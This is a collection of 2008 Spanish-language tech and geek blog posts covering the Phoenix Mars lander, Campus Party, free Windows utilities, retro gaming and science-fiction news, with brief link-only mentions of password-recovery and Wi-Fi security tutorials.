      Todo esto se ha deducido a raiz de la filtración de unos documentos enviados al Presidente de los Estados Unidos con informes de la NASA sobre Phoenix que van más allá del descubrimiento de agua. Se anuncia que el agua encontrada en Marte es “potencialmente preparada para la vida” … Otro de los indicios ha sido que se ha activado un protocolo de actuación en conjunción con el Gobierno de los Estados Unidos para dar a la opinión pública noticias de alcance mundial …

      Mira quien está en la Campus Party camuflado

      Visto en:

      http://lacomunidad.elpais.com/campus-party/posts

      

      Lo mejor el DNI: 000000001

      Por cierto, si quieres un seguimiento de la Campus 2008 no dudes en visitar:

      http://lacomunidad.elpais.com/campus-party/posts

      Cómo recuperar contraseñas perdidas con …

      

      De nuevo, LifeHacker nos hace una de sus estupendas recomendaciones de software gratuito, esta vez para recuperar contraseñas.

      Sigue leyendo que esto te va a interesar seguro ;)

      Acceso a Windows

      Cuando no puedas entrar (login) en tu Windows olvidado hace años, intenta usar el:

      Ophcrack Live CD

      Si las contraseñas son relativamente fáciles de romper, las mostrará, así como los usuarios.

       

      Aplicaciones de Windows que almacenan la contraseña con asteriscos

      La Mona Leia

      

      … sin palabras

      http://www.neatorama.com/2008/07/31/the-mona-leia-by-jim-hance/

      Atacar WPA/WPA2 PSK, de Chema Alonso, parte 1 de 4

      

      Vamos a hacer un seguimiento al fantástico tutorial de Chema Alonso y Alejandro Martín sobre técnicas de ataque contra WPA/WPA2 PSK.

      http://elladodelmal.blogspot.com/2008/08/atacar-wpawpa2-psk-parte-i-de-iv.html

      Iremos publicando los demás capítulos.

      Gracias Chema (y Alejandro).

      Anvir Task Manager gratuito

      

      Windows.

      Nueva herramienta para hacer más llevadero el dia a dia con nuestro Windows.

      Algunas características de este programa:

      • Información completa sobre servicios, DLLs, conexiones a Internet, drivers, etc

      • Detecta Troyanos

      • Optimiza memoria y acelera el tiempo de arranque del sistema

      • Permite ejecutar programas como si fueran servicios justo antes del login del usuario (esto es realmente útil)

      • Tiene iconos donde muestra el uso del disco, de la memoria, CPU, batería, etc

      Aunque ya lo sabíamos, definitivamente se confirma …

      

      Casí estaba claro, pero ahora la sonda Phoenix lo ha confirmado de forma definitiva, el agua marciana existe y podemos decir que Phoenix la ha tocado:

      http://www.nasa.gov/mission_pages/phoenix/news/phoenix-20080731.html

      Se ha localizado por el vapor al evaporarse al calentar las pruebas.

      De paso, la NASA ha anunciado que extenderá la misión 30 días más debido al gran estado de la sonda, hasta el 30 de septiembre.

      Lo que NOP se ha traido de Japón ... y hemos …

      Aún estoy emocionado con el regalito de mi amigo NOP, os pongo unas fotos para que os dé un poco de envidia …

      

      

      

      

      ¿A que flipa eh?

      Es un Kohjinsha SH2:

      procesador Intel A100 de 600MHz, pantalla táctil TFT de 7″ y resolución 1024×600, disco duro de 100GB, memoria RAM de 1 GB y puertos VGA y USB 2.0.

      Top 10 herramientas y trucos para la línea de …

      

      Estos de LifeHacker son unos genios, cada lista top que hacen es espectacular:

      http://lifehacker.com/399468/top-10-command-line-tools

      Para Windows, Linux y Mac (sobre todo Linux).

      Todos vamos a la línea de comandos cuando queremos hacer algo más rápido o algo crítico de nuestro sistema. De esta forma también te sientes un poco más seguro al creer que tienes el control como en los viejos equipos cuando no existían las GUI para los SO.

      Algunas aplicaciones útiles

      

      Seguro que no soy el único que sufre las consecuencias de utilizar más de un PC para trabajo/ocio a diario, lo cual suele provocar (al menos para la gente un poco desordenada como yo) un despliegue de archivos personales o utilidades en cada uno de los equipos, discos portátiles, pendrives, ipod, etc vamos un desorden que a veces nos provoca la perdida de horas para poder reorganizarlo todo y consolidar la información. Al principio decides utilizar el famoso maletín de windows pensando en que te va a solucionar todos tus problemas, y al cabo de unos días decides mandar el maletín a tomar viento porque te produce más problemas que antes. Pues hace un tiempo me encontré una aplicación que hace todo esto mucho más sencillo, ya que te permite hacer distintos tipos de sincronización con todo tipo de unidades y ademas funciona bien. Y sorpresa! es de Microsoft y gratuita :-O, forma parte de las famosas powertoys que no estan nada mal. Se llama Synctoy y podéis encontrarla aqui. Hay otra llamada ImageResizer que utilizo mucho, para unificar tamaños de muchas imagenes de golpe con solo dos clics. Os recomiendo que les echéis un vistazo.

      La mítica entrada de Linus Torvalds en …

      

      Visto en:

      http://www.soygeek.com/index.php/2008/07/23/quieres-ser-un-hombre-que-programa-sus-propios-drivers-cultura-geek-ii/

      Y la entrada en:

      http://groups.google.com/group/comp.os.minix/browse_thread/thread/e3df794a2bce97da/2194d253268b0a1b?lnk=st&q=when+men+were+men+and+wrote+their+own+device+drivers%3F+group%3Acomp.os.minix#2194d253268b0a1b

      Este es el texto original (reverencia):

      ——-8<———8<———-8<———-

      Do you pine for the nice days of minix-1.1, when men were men and wrote their own device drivers? Are you without a nice project and just dying to cut your teeth on a OS you can try to modify for your needs? Are you finding it frustrating when everything works on minix? No more all- nighters to get a nifty program working? Then this post might be just for you :-) As I mentioned a month(?) ago, I'm working on a free version of a minix-lookalike for AT-386 computers.  It has finally reached the stage where it's even usable (though may not be depending on what you want), and I am willing to put out the sources for wider distribution.  It is just version 0.02 (+1 (very small) patch already), but I've successfully run bash/gcc/gnu-make/gnu-sed/compress etc under it.
      Sources for this pet project of mine can be found at nic.funet.fi (128.214.6.100) in the directory /pub/OS/Linux.  The directory also contains some README-file and a couple of binaries to work under linux (bash, update and gcc, what more can you ask for :-).  Full kernel source is provided, as no minix code has been used.  Library sources are only partially free, so that cannot be distributed currently.  The system is able to compile "as-is" and has been known to work.  Heh. Sources to the binaries (bash and gcc) can be found at the same place in /pub/gnu.

      ALERT! WARNING! NOTE! These sources still need minix-386 to be compiled (and gcc-1.40, possibly 1.37.1, haven’t tested), and you need minix to set it up if you want to run it, so it is not yet a standalone system for those of you without minix. I’m working on it. You also need to be something of a hacker to set it up (?), so for those hoping for an alternative to minix-386, please ignore me. It is currently meant for hackers interested in operating systems and 386’s with access to minix.

      El arte de programar a la sonda Phoenix

      

      Visto en:

      http://www.muyinteresante.es/ciencia-natura/marte-el-arte-de-los-numeros-a-larga-distancia.html

      http://meneame.net/story/arte-numeros-larga-distancia-aventura-robot-phoenix

      Excelente artículo donde te explican cómo tienen que pasar cada día los programadores de nuestra amiga la Sonda Phoenix, con más de 1000 líneas de código. Son unas 20 o 30 secuencias con unas 50 líneas de código cada una, y si te equivocas ya sabes, todo el proyecto a la basura (y el dineral que ha costado).

      Antes de Internet, estaba Arpanet (historia)

      Un poco de historia, este croquis pertenece a los primeros 4 nodos de la Arpanet en Diciembre de 1969. A estos nodos se les llamaba Interface Message Processors, lo que luego se llamarían routers.

      

      Luego a partir de esta se crearía lo que hoy llamamos Internet.

      Historia completa en:

      http://www.netvalley.com/cgi-bin/intval/net_history.pl?chapter=1

      Visto en:

      http://www.neatorama.com/

       

      Cuil, buscador creado por ex-empleados de Google

      

      Este nuevo motor de búsqueda tiene 120 billones de web en su índice y ha sido creado por ex-empleados de Google. Con un fondo negro, introduce la búsqueda (te hace sugerencias) y a buscar. Los resultados no están mal, bastante decentes … sólo tienes que probarlo.

      Como dicen en LifeHacker (de donde es original la noticia), ¿estará Google preocupado? … yo creo que no.

      http://lifehacker.com/399336/cuil-search-engine-out-to-challenge-google

      Tira Ecol: Nano Twitteando

      Fantástico como siempre: 

      

      http://www.tiraecol.net/modules/comic/

      Un FPS 3D en 96Kb, "kkrieger"

      

      Vaya siempre me sorprenden esta calidad y dominio de la programación, un FPS 3D en 96 kb (aunque luego ocupa casi 400 en RAM). IMPRESIONANTE.

       

      Visto en:

      http://tupsx.com/kkrieger-un-fps-3d-de-96-kb

      Aquí te explica un poco más sobre el diseño del juego …

      Y para descargarlo:

      http://www.theprodukkt.com/kkrieger

      Tron 2

      Sopresa al leerlo en Microsiervos:

      http://www.microsiervos.com/archivo/peliculas-tv/tr2n-tron-2.html

      No tiene muy buena calidad pero algo se puede ver.

      Ya veremos … no encuentro más información si alguien tiene algo que lo pase.

      Jailbreak iPhone 2.0 y ya puedes usar tu iPhone …

      

      Por si no lo sabías el iPhone está capado para que no puedas usarlo como modem 3G (cosa que aún nadie entiende).

      Con el JailBreak 2.0 esto se resuelve. Eso sí, tienes que “jailbreark” tu iPhone, si te atreves, todo lo tienes explicado aquí:

      http://lifehacker.com/398961/get-your-computer-online-using-your-iphones-data-connection

      Rumor: Apple MacBook Plus

      

      Esto parece sólo un rumor, pero ya sabéis que pasa con este tipo de noticias. Se rumoréa que Apple está trabajando en un portátil con pantalla táctil (vamos un tabletPC) para presentarlo antes del final de 2008.

      Visto en:

      http://www.popularmechanics.com/technology/upgrade/4243000.html

      Video del portátil:

      http://video.popularmechanics.com/services/link/bcpid1358321681/bctid1364230543

      Windows Live Gallery y el reconocimiento de caras

      

      Visto en PuntoGeek (somos fans de PuntoGeek):

      http://www.puntogeek.com/2008/07/26/windows-live-photo-gallery-reconocera-caras/

      Pues esta aplicación para el manejo de fotografías llevará reconocimiento de caras incluido y le podrás añadir tags.  En PuntoGeek hablan también de otras aplicaciones que también realizan esta función.

      Interesante.

      http://get.live.com/photogallery/overview

      Quedan 2 días para que comience la Campus Party …

       

      Sólo recordaros que CyberHades estará por allí (siempre que podamos) para mostraros lo más interesante del evento.

      Hay que ir preparando los ordenadores y las tiendas …

      La catedral y el bazar

       

      Muy interesante reflexión de SoyGeek hablando sobre la utilidad y la función en la empresa del código libre y Linux, recomiendo leerla:

      http://www.soygeek.com/index.php/2008/07/18/la-catedral-y-el-bazar-cultura-geek-i/

      FlexTK Express, Herramienta avanzada para ficheros

      

      Windows.

      LLevaba tiempo buscando algo de esto, es una aplicación con GUI para crear tareas relacionadas con ficheros y directorios (y alguna otra cosa más) que sólo pueden realizarse desde la línea de comandos y con scripts avanzados. Con esta aplicación no tienes que teclear ni una sola línea de código.

      Tiene tres funciones básicas, Buscar, Organizar y Sincronizar.

      Buscar te permite definir complejas búsquedas como por ejemplo buscar fichero con un texto, un atributo especial, imágenes, etc … puedes luego copiar, borrar, mover, etc … los ficheros resultantes de la tarea anterior.

      La vulnerabilidad del protocolo DNS y Kaminsky

      

      Hace un par semanas hubo una actualización para la mayoría de los dispositivos de Internet que usan DNS.

      Ese parche era crítico ya que puedes imaginar lo peligroso que es un error en un servidor DNS que permita falsificar respuestas DNS (te podrían redireccionar a otro lugar que no fuera el que crees, imagínate los bancos por ejemplo). No era un error de un fabricante, sino de todo Internet, algo inusual y crítico, o sea, un error de desarrollo base (del protocolo en sí).

      Astronauta del Apolo 14 asegura que ya hemos …

      

      Flipado me he quedado cuando he leido este artículo:

      http://www.dailymail.co.uk/sciencetech/article-1037471/Apollo-14-astronaut-claims-aliens-HAVE-contact--covered-60-years.html

      Nos habla el astronauta Dr. Edgar Mitchell, del Apolo 14 (1971) Ingeniero Aeronaútico y con un doctorado en Aeronaútica y Astronaútica y sexto hombre en pisar la Luna, que además tiene el record del paseo más largo por la Luna (9 horas y 17 minutos).

      La perla que nos suelta es que ya hace tiempo que hemos estado en contacto con otras civilizaciones extraterrestres, pero todos esos contactos han sido encubiertos por los gobiernos. Los describe como “pequeñas personas que nos parecerían extrañas” … hasta ahora nada nuevo y todo me suena … También dice que “nuestra tecnlogía no es nada avanzada al lado de la de Ellos” y encima dice “han sido hostiles y que de momento se han ido” … intrigante …

      HFSExplorer edita discos duros con formato Mac

      

      Windows.

      Gratuita. Aplicación para poder leer discos duros formateados con HFS+ nativo de los Macs (y algunos iPod). Permite leerlos desde Windows, sólo necesitas Java instalado.

      Noticia original:

      http://lifehacker.com/399028/hfsexplorer-reads-mac+formatted-hard-drives

      Descarga del programa:

      http://hem.bredband.net/catacombae/hfsx.html

      Lanzamiento de la Lanzadera Espacial visto desde …

      Impresionante:

      Visto en:

      http://meneame.net/story/despegue-lanzadera-espacial-shuttle-grabado-desde-vuelo-comercial

      Phoenix realiza la jornada de trabajo más larga de …

      

      Noticia completa en:

      http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11186&Itemid=42

      33 horas seguidas de arañar, raspar y excavar en la dura superficie marciana. Cada vez hay más material seleccionado preparado para el horno TEGA.

      Pronto llegarán más resultados.

      Groverfield, parodia de Cloverfield

      via videosift.com

      Visto en:

      http://www.videosift.com/video/Groverfield

      y sacado de una lista de videos que también tienes que ver:

      http://www.neatorama.com/2008/07/23/videosift-picks-of-the-week/

      Double Drivers, herramienta para hacer copia de …

      

      Windows.

      Perfecta solución para tener siempre una copia de los drivers de tu ordenador sin tener que hacer una copia de seguridad completa del sistema:

      http://boozet.org/dd.htm

      Esto es muy útil cuando no tienes forma de conseguir algunos drivers que no están actualizados (por ejemplo de equipos viejos), o quieres sacar algunos para instalarlos en otras máquinas similares, etc … Simplemente selecciona los que quieres hacer copia de seguridad y Double Driver hará la copia.

      Ojo con el GPS

      

      Visto en la magnífica Kriptopolis:

      http://www.kriptopolis.org/culpan-gps-miles-accidentes

      Al parecer en Reino Unido culpan al GPS de más de 300.000 accidentes. Casi la mitad de la población que conduce usa un GPS, con lo cual es un problema serio. La mayoría fueron accidentes por circular en sentido contrario.

      No tienes que hacer caso ciego a un GPS, a más de uno seguro que le ha pasado por ejemplo “gire a la derecha” y la derecha es el vacío o una carretera para cabras.

      Colonizar Venus con ciudades flotantes al estilo …

      

      Resulta que el científico de la NASA y escritor de Ciencia Ficción, Geoffrey Landis ha mostrado unos estudios para enviar un avión alimentado con energía solar para estudiar Venus y de paso ha comentado en la entrevista el tema de las ciudades flotantes. Parece ser que la atmósfera de Venus, a 50 km de altitud la temperatura oscila entre 0º y 50º, muy parecida a la de la Tierra. 

      Top 10 monstruos de Expediente X

      

      Ahora que la película se estrena el día 24 de Julio, vamos a repasar los mejores monstruos de este fantástica serie:

      10 )  La Inteligencia Artificial, episodio Kill Switch

      9 ) Las criaturas camaleón, episodio Detour

      8 ) El Demonio de Jersey, episodio Jersey Devil

      7 ) El Gran Azul, episodio Quagmire

      6 ) Los Parásitos del Ártico, episiodio Ice

      5 ) Eugene Victor Tooms, episodio Tooms y Squeeze

      4. The Fluke Man, episodio The Host

      5. Domine PFaster, episodio Irresistible

      6. El aceite/fango negro, sale en casi toda la serie.

      Cómo conectar un mando de la NES por USB

       

      Ideal para los emuladores y para otros juegos que necesiten un joystick/pad.

      Si tienes algunos conocimientos de informática y tiempo es un buen proyecto.

      Visto en:

      http://www.hackaday.com/2008/07/19/usb-nes-controller-plus/

      Todo explicado perfectamente en:

      http://edshowtos.blogspot.com/2008/06/how-to-make-your-own-nes-usb-controller.html

      Nintendo Wii Motion Plus

      

      Este nuevo gadget para los mandos de la Wii sirve para dar más precisión al Wii Remote, del cual últimamente se quejaban muchos usuarios que no era lo suficientemente sensible ni preciso para el control de algunos juegos (o del sistema en general).

      Según Nintendo, con Wii Motion Plus puedes reproducir cualquier movimiento que hagas en el mundo real  en cualquier juego que estés jugando con la Wii. El hardware está basado en un giróscopo multi-eje junto a un acelerómetro para obtener movimientos muy precisos. Se añade en la base de la Wii y entre otras nuevas caraterísticas podrás obtener navegación 3D para el control remoto de la Wii.

      NOP en Japón

      

      Ya nos irá comentando y enviando fotos, estaremos atentos.

      PD: y no, este no es NOP ;)

      Cómo controlar el ancho de banda que usan tus …

      

      A veces puede ser necesario saber qué aplicación está consumiendo ancho de banda en tu sistema, como por ejemplo controlar accesos de P2P, etc … al final puedes incluso hacer informes sobre cuantos kB ha descargado cierta aplicación.

      Puedes usar esta aplicación gratuita para hacerlo, NetLimiter 2 Monitor (instala también las librerías PCAP, ya que las usa para funcionar):

      http://www.netlimiter.com/download.php

      (Windows XP y Vista)

      Los 30 árboles más terroríficos de la Tierra

      

      Espectacular, como para encontrarte con uno de estos de noche en un bosque, puedes verlos en:

      http://www.environmentalgraffiti.com/offbeat-news/30-creepiest-trees-on-earth-pics/1381

      Fuente original:

      http://www.neatorama.com/2008/07/17/the-30-creepiest-trees-on-earth/

      Foto de la Tierra y la Luna a 50 millones de …

      Tomada por la Deep Impact:

      

      Realmente las imágenes son un video que puedes ver en:

      http://www.nasa.gov/topics/solarsystem/features/epoxi_transit.html

      Noticia original:

      http://www.elpais.com/articulo/sociedad/Tierra/vista/extraterrestre/elpepusoc/20080718elpepusoc_6/Tes

      Ramlog, amplía la duración de la batería de tu …

       

      Linux está contínuamente escribiendo en ficheros de texto logs del sistema de todo tipo (prácticamente de todo lo que ocurre en el sistema), para poder luego hacer debuggin sobre las aplicaciones que han podido dar errores y saber que ha ocurrido. Esto es fundamental para poder analizar el código fuente del kernel de Linux para depurarlo. 

      Pero tiene un coste, la contínua escritura de estos logs hace que tu disco duro en Linux esté contínuamente girando y desplazándose, con la correspondiente descarga de la batería del portátil.

      Las tres manchas de Júpiter se juntan

      

      Imágen a color real, tomada entre el 28 de junio y el 8 julio por Wide Field Planetary Camera 2 (WFPC2) del Telescopio Hubble.

       

      Imágen si precedentes, visto en:

      http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11180&Itemid=42

       

      Mancha Roja de Júpiter.

      Seis sustitutos para el NotePad de Windows

      

      Más de una vez nos ha salvado el NotePad de Windows, sobre todo cuando quieres editar un fichero en texto plano (p.e.: un programa), pero sí que es verdad que le echamos en falta un poco más de potencia, sobre todo si vas a programar.

      Estas son las características más importantes de estos seis sustitutos al NotePad:

      • Resaltan las palabras según el lenguaje de programación que uses (lo reconocen) así será más fácil leerlo luego.

      • Autcompletan el texto que introduces cuando es reconocido.

      • Editar varios documentos

      • Búsqueda de expresiones regulares y reeemplazar texto (avanzado).

      • Soporte para varios lenguajes.

      • Marcas en el texto para luego saltar a ese punto.

      • Macros y Scripting.

      MIT Tech TV

      

      Visto en:

      http://www.microsiervos.com/archivo/ciencia/mit-techtv-youtube.html

      Página del MIT donde se almacenan videos (al estilo YouTube) sobre experimentos, explicaciones, conferencias, etc …

      http://techtv.mit.edu/

      Fring

      

      Quiza os pueda interesar este programilla para llamadas por internet, sms, chat… la novedad es que acaban de sacar version para J2ME y linux (version MiniFring), asi que se puede rular en mogollon de dispositivos, enter los cuales por fin esta mi tocho nokia 6600 :) La unica pena es que la version J2ME parece no tener aun la funcionalidad de llamadas :(

      Para conexión de datos gprs hay que ver si compensa la tarificación de datos, pero para wifi… gratis ;) Es una buena opción usarlo con una sim de yoigo o simyo, que tienen las tarifas mas bajas para conexion a internet. Aun tengo que comprobar si es un cliente SIP generico (seria muy interesante para probar con otras compañias de telefonia por internet) o si esta integrado en la plataforma fring exclusivamente.

      Las mejores vacaciones Geek

      Un poco caro tiene que salir ir a estos sitios pero desde luego si que son geek:

      1 ) Tokyo: Akihabara distrito para gadgets, Ghibli para anime, el Museo Bandai, Sega Joypolis … la meca del geek (por cierto, tenemos ahora mismo a NOP en Japón, ya nos informará)

      

      2 ) Chernobil, Ucrania: plantas mutantes, casas deshabitadas abandonadas tal y como estaban … como en una película de sci-fi / terror

      La PS3 y el Western Digital My World Edition, …

      

      Con uShare de momento, no he podido debido a problemas con las librerias DLNA (a la hora de compilarlas). Sí que he podido hacer funcionar el servidor pero algunos tipos de ficheros, tanto de audio como de video, no he podido hacerlos funcionar (aparecía "Datos no legibles" en la PS3). Ya retomaré la instalación del uShare más adelante.

      La mejor opción (eso sí, es de pago) es el TwonkyVision (tienes 30 días para probarlo antes de comprarlo), yo lo estoy probando y de momento estoy encantado.

      El brazo robot de la Mars Lander y la Tercera Ley …

      

       El ejemplo más claro y práctico de la Tercera Ley de Asimov de la Robótica:

      1. Un robot no debe dañar a un ser humano o, por su inacción, dejar que un ser humano sufra daño.
      2. Un robot debe obedecer las órdenes que le son dadas por un ser humano, excepto si estas órdenes entran en conflicto con la Primera Ley.
      3. Un robot debe proteger su propia existencia, hasta donde esta protección no entre en conflicto con la Primera o la Segunda Ley.
      El brazo robot de la Mars Lander  (Phoenix para los amigos) se encontraba en una posición un poco complicada (atascado en el suelo marciano) , y entonces recibió una orden de movimiento que el mismo robot reconoce como peligrosa (error humano) para su propia supervivencia pero para nada dañina para seres humanos.

      El robot evalúa las consecuencias de hacer caso a la orden dada por la NASA y por este motivo se desconecta él mismo de forma automática para evitar posibles daños … una forma elegante de “no obedecer” a sus amos humanos aplicando la tercera Ley de la Robótica …

      3D Tomb, juego tipo DOOM en 4Kb y JavaScript

      

      Es del año pasado pero vaya pasada:

      http://www.3dtomb2.com/about.php

      Todo eso en 4Kb de código, impresionante.

      Echar un vistazo a los apuntes técnicos.

      Primer emulador de Wii / Gamecube para PC

      

      De momento sólo puedes ejecutar algunas intros pero el código fuente está liberado, así que seguro dentro de poco empezaremos a ver avances.

      Está basado en Dolphin, conocido emulador de GameCube.

      Visto en:

      http://www.elotrolado.net/noticia_primer-emulador-de-wii-para-pc_14897

      Los ingenieros de la NASA diseñan un nuevo cohete …

      Están trabajando en un nuevo diseño para llevar nuevas naves espaciales a la Luna:

      

      http://science.slashdot.org/article.pl?no_d2=1&sid=08/07/15/1613242

      http://www.space.com/news/ap-080714-alternative-moon-rocket.html

      Toda la documentación:

      http://www.launchcomplexmodels.com/Direct/index.htm

      Los anteriores cohetes que nos llevaron a la Luna eran los llamados “Saturno”, pues estos nuevos modelos llevan el nombre de “Júpiter”. La NASA tiene intención de volver a la Luna más o menos por el 2020.

      Nintendo revela el "Wii Speak"

      

      Visto en:

      http://kotaku.com/5025385/nintendo-reveals-wii-speak-chat-for-wii

      Micrófono y altavoz para chatear en habitaciones con otros usuarios de Wii.

      http://www.gamespot.com/news/6193922.html

      World of World of Warcraft

      Que bueno, lo escuché en uno de nuestros podcasts favoritos:

      http://yendor.es/2008/07/2x02-insert-funny-title-here.html

      Y este es el video, muy divertido:

      Resumiendo, es un juego en el que controlas a un jugador que controla a un personaje del WOW, puedes hacerle beber, comer pizza, mover el personaje del WOW … muy bueno.

      ZX Orchestra

      

      He visto en la fantástica Picandocodigo:

      http://picandocodigo.net/index.php/2008/07/13/zx-spectrum-orchestra-basic-programming/

      Un grupo musical que sólo utiliza ZX Spectrum para crear sus obras …

      http://www.myspace.com/zxspectrumorchestra

      Echa un vistazo al link y verás.

      Un ejemplo:

       

      Aprender Flash y ActionScript, tutoriales

       

      

      Visto en:

      http://www.codigogeek.com/2008/07/11/12-sitios-para-aprender-flash/

      12 sitios para aprender Flash y ActionScript (tutoriales)

      http://sixrevisions.com/flashactionscript/flash_tutorial_websites/

      El iPhone y la histeria colectiva

      

      Desproporcinado el tratamiento mediático que se está dando al nuevo iPhone 3G, que vale es bonito no está mal, pero tampoco es nada del otro mundo y la gente se está volviendo loca.

      Mi amigo NOP y yo hace ya más de un año que tuvimos uno y no nos gustó lo bastante como para comprar uno en EEUU, prefiero mi Palm Treo.

      Pero entonces llega el iPhone a España, y como somos tan exagerados, nos encontramos con una compañia que tiene los derechos sobre el aparatito y  para tener un iPhone tenemos que tragarnos:

      Anunciado el nuevo Kernel de Linux versión 2.6.26

      

      Visto en:

      http://softlibre.barrapunto.com/softlibre/08/07/14/1446208.shtml

      Una lista con las mejoras:

      http://kernelnewbies.org/LinuxChanges

      Estándar 802.11s

      Soporte mejorado de webcams y estándar UVC

      Depurador de kernel

      Soporte para el OLPC,

      Más Drivers …

      Y mucho más …

      Super Chuck Norris Bros. "no necesita setas" XD

       

      fijaros cómo explota, quema, destruye todo XD

      Visto en:

      http://kotaku.com/5024608/super-chuck-norris-bros--wait-this-is-real

      Y si quieres manejarlo tú mismo:

      http://ctfdoh.googlepages.com/downloadarea  

      Atari ya inventó el WiiFit hace 25 años

      

      Visto en el excelente blog sobre videojuegos NaciónArcade:

      http://www.nacionarcade.net/el-wiifit-de-atari-hace-25-anos-1282/

      Se llamaba JoyBoard y hombre, no tenía los sensores del WiiFit pero daba el pego. Era simplemente un joystick donde según en que lado pisaras, se movía el personaje del juego a derecha o izquierda.

      No tuvo éxito.

      Cómo convertir tu PS3 en un PC con Linux (Ubuntu)

       

       

      

      Explicado paso a paso en:

      http://www.popularmechanics.com/technology/how_to/4263321.html

      Lo primero es actualizar el disco duro, ya que 40Gb estan bien para jugar pero no para instalar un S.O. completo.

      Después te descargas la ISO con el Ubuntu para PS3:

      http://www.popularmechanics.com/ubuntu/ps3

      y nada más, tendrás un arranque dual para poder elegir entre el Linux Ubuntu instalado o el S.O. de la PS3 para jugar.

      Estoy esperando mi nuevo disco duro y lo probaré,.ya os informaré …

      Hellboy 2

       

      Me conformo con que sea la mitad de buena que Hellboy ... tiene buena pinta. 

      La dirección de email de Homer Simpson hackeada

      

      Esta es la dirección de email de Homer:

      [email protected]

      Puedes verlo en el capítulo:

        http://en.wikipedia.org/wiki/The_Dad_Who_Knew_Too_Little

      Pues este email lo creó uno de los escritores de la serie y respondía a los miles de emails que le llegaban de todas partes XD, pues ha sido hackeada:

      http://blog.spywareguide.com/2008/07/who-hacked-homer.html

      Chiste geek

      

      XD, que listillo el niño …

      Visto en: http://escritordecodigo.blogspot.com/2008/07/no-volver-tirar-aviones-de-papel-en.html

      Las CPU usadas en las Misiones Espaciales

      

      Al hilo del anterior post sobre la Phoenix, he visto este enlace donde te muestra una lista de las Misiones Espaciales más importante de todos los tiempos y la CPU que usaron en cada una de ellas:

      http://www.cpushack.net/space-craft-cpu.html

      Por ejemplo, la lanzadera espacial usaba un Intel 8086 y RCA 1802, luego cambió a un  Intel 80386.

      Aquí tienes una lista de otras misiones y sus correspondientes CPU usadas:

      El alma de la Phoenix

      

      Interesante artículo visto en:

      http://barrapunto.com/articles/08/07/12/0924209.shtml

      Podréis aprender que el computador que lleva es un RAD6000 resistente a la radiación, todo está programado en C, el Sitema Operativo es VxWorks, 128 Mb de RAM, 33 MGhz …

      Todos estos datos y más puedes verlos en la entrevista al desarrollador jefe del proyecto, Peter Gluck:

      http://news.oreilly.com/2008/07/the-software-behind-the-mars-p.html

      Entrevista muy interesante, también sabrás el por qué de llamarla Phoenix …

      Liquido bailarín

       

      El líquido es almidón de maiz (cornstarch) mezclado con agua, puesto sobre un subwoofer.

      Hipnótico …

      Visto en:

      http://www.neatorama.com/2008/07/11/dancing-liquid/

       

      Aprendiendo a manejar y dominar el Shell de Linux

      

      Hay veces que tienes que usar la ventana del shell de Linux para poder realizar funciones que desde el gestor de ventanas Linux (GUI)  no puedes hacer, por ejemplo tienes un problema en tu servidor Linux y no puedes abrir el GUI, operaciones más rápidas, chulear ;) etc ... La mejor manera de estar seguros de realizar una función crítica correctamente, tanto en Linux como en Windows, es realizarla siempre que sea posible desde la línea de comandos (Shell).

      Una excelente páginas para aprender a dominar el Shell de Linux es:

      Fallece Sergio Algora, de "La Costa Brava"

      

      Muy tristes nos hemos quedado cuando nos hemos enterado (por mi amigo Manolo, gran fan también de este grupo):

      http://www.musicapolar.com/lacostabrava/noticias.php

      http://lacomunidad.elpais.com/dario-manrique/2008/7/10/sergio-algora-1969-2008 -

      http://www.publico.es/133153/srchinarro/antonioluque

      Este genial cantante y poeta marco mi vida el día que lo ví tocar con su primer y fantástico grupo, El Niño Gusano en el FIB en 1997, con su pop psicodélico y letras llenas de ironía, metáforas y humor.

      Mapa de enfermedades mundial

      

      Visto en:

      http://www.mundotech.net/biblioteca-genetica-y-mapa-de-enfermedades-online/

      http://www.healthmap.org/es

      Te indica en cada pais el día de un nuevo brote de alguna enfermedad, donde aparece un enlace con la noticia relacionada.

      Totalmente actualizado y casi en tiempo real.

      Google Lively el salto virtual de Google

       

      Visto en:

      http://tech.slashdot.org/article.pl?no_d2=1&sid=08/07/10/1428221

      Google Lively es una especie de copia de Second Life, donde puedes crear tus personajes (avatares) y crear habitaciones donde interactuar con ellos para chatear, cambiar fotos, etc … 

       Si Google apuesta por esta forma de interactuar con la red, tendremos que estar atentos …

      Variedad de widgets en flash para casi todo

      

      Visto en:

      http://www.puntogeek.com/2008/07/09/myflashfetish-widgets-en-flash-para-todos-los-gustos/

      Página original.

      http://www.myflashfetish.com/

      Genial para incluir variedad de widgets en flash de los cuales luego puedes generar el código fuente para ponerlo en tu blog, página web, etc …

      Ultimatum a la Tierra 2008 (trailer) (The Day the …

      

      Remake de la película de 1951:

      The Day the Earth Stood Still

      Trailer de la versión de 1951:

      Todo un clásico que como dicen en Microsiervos (he visto allí el trailer), cada vez hay menos ideas nuevas en la Ciencia Ficción … ya veremos como está la película (de momento podemos deleitarnos con la espectacular Jeniffer Connelly).

      Rainbow Folders, utilidad para colorear tus …

      

      He visto esta aplicación en:

      http://lifehacker.com/398192/rainbow-folders-creates-super+customized-folders-for-easy-navigation

      Con esta utilidad puedes darle colores a las carpetas de tu Windows, aparentemente no parece muy útil pero sí que tiene utilidad para clasificar las carpetas ahora que ya empezamos a tener un volumen considerable de información en nuestros discos duros. Además te permite también poner un comentario a la carpeta, que aparecerá cuando pases el ratón por encima …

      Disco de 400Gb legibles desde unidades Blue-Ray

      

      Visto en:

      http://barrapunto.com/articles/08/07/09/151253.shtml

      http://www.elmundo.es/navegante/2008/07/08/tecnologia/1215501130.html

      400 Gb en discos de hasta 16 capas, que puedes leer en una unidad Blue-Ray … creado por Pioneer.

      Actualización: más información en la página de nuestro amigo Bauer, eresungeek:

      http://eresungeek.com/blog/pioneer-anuncia-discos-blu-ray-de-400gb

      Enjuto Mojamuto irá a la Campus Party con nosotros …

      O eso parece, atentos al musical de Enjuto y a la letra XD

      Fantástico …  

      Steampunk

      

      Steampunk

      Es un término que define la ciencia ficción digamos “de época”, tecnología avanzada usando por ejemplo el vapor como energía, estética “victoriana”, etc … (arriba tienes un enlace la WikiPedia donde lo explica mejor).

      Una película (que no es una maravilla pero muestra el estilo perfectamente) SteamPunk es “Wild Wild West”, otro ejemplo podría ser el submarino Nautilos del Capitán Nemo, etc …

      Si quieres saber más:

      Nos la han vuelto a jugar en el Parlamento …

      

      Cada vez queda menos para una Internet libre tal y como la conocemos hoy:

      http://www.kriptopolis.org/otro-paso-fin-internet-libre

      http://www.kriptopolis.org/peligro-acecha-desde-parlamento-europeo

